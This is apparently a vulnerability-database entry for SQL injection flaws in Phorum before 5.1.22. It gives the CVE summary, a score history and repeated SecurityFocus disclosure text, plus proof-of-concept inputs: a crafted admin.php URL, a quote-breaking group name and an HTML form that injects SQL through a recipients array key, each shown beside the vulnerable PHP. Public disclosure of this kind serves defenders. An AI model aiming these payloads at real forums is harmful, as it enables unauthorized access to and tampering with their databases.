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Multiple SQL injection vulnerabilities in Phorum before 5.1.22 allow remote attackers to execute arbitrary SQL commands via (1) a modified recipients parameter name in (a) pm.php; (2) the curr parameter to the (b) badwords (aka censorlist) or (c) banlist module in admin.php; or (3) the "Edit groups / Add group" field in the (d) groups module in admin.php.
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7.5
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2022-02-06
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4.39%
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2022-04-03
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4.39%
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2022-08-28
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4.39%
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2023-03-12
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1.32%
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2023-10-29
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1.32%
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2023-11-12
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1.32%
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2023-12-17
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1.29%
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2024-01-28
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1.5%
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2024-03-03
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1.65%
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2024-06-02
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1.65%
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2024-06-02
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1.65%
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2024-08-04
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1.38%
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2024-08-11
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1.38%
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2024-12-22
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0.85%
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2025-01-19
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0.85%
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2025-03-18
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2.41%
2025-03-30
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2.64%
2025-04-15
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2.64%
2025-04-15
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2.64,%
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source: https://www.securityfocus.com/bid/23616/info
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
> From source code - "include/db/mysql.php" line 3223:
--------------------------------------------------
function phorum_db_del_banitem($banid) {
$PHORUM = $GLOBALS["PHORUM"];
$conn = phorum_db_mysql_connect();
$sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";
$res = mysql_query($sql, $conn);
---------------------------------------------------
PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR
... and we will get error message:
<!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR -->
source: https://www.securityfocus.com/bid/23616/info
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
Let's try to add group named "war'axe":
http://localhost/phorum.5.1.20/admin.php?module=groups
Edit groups / Add group --> war'axe
<!-- You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'axe')' at line 1:
insert into phorum_groups (name) values ('war'axe') -->
source: https://www.securityfocus.com/bid/23616/info
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
Let's look at source code of "include/db/mysq.php" ~ line 1881 :
------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
$PHORUM = $GLOBALS["PHORUM"];
$conn = phorum_db_mysql_connect();
if(is_array($user_id)){
$user_ids=implode(",", $user_id);
} else {
$user_ids=(int)$user_id;
}
$users = array();
$sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
$res = mysql_query($sql, $conn);
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------
As we can see, if "$user_id" is array, then there is no sanitize against data before
using in sql query.
After some research I have found a way to use this bug for sql injection. For this,
first of all, potential attacker must have valid user account in specific Phorum-powered
website and he/she must be logged in. And then let's try this proof-of-concept html file:
------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>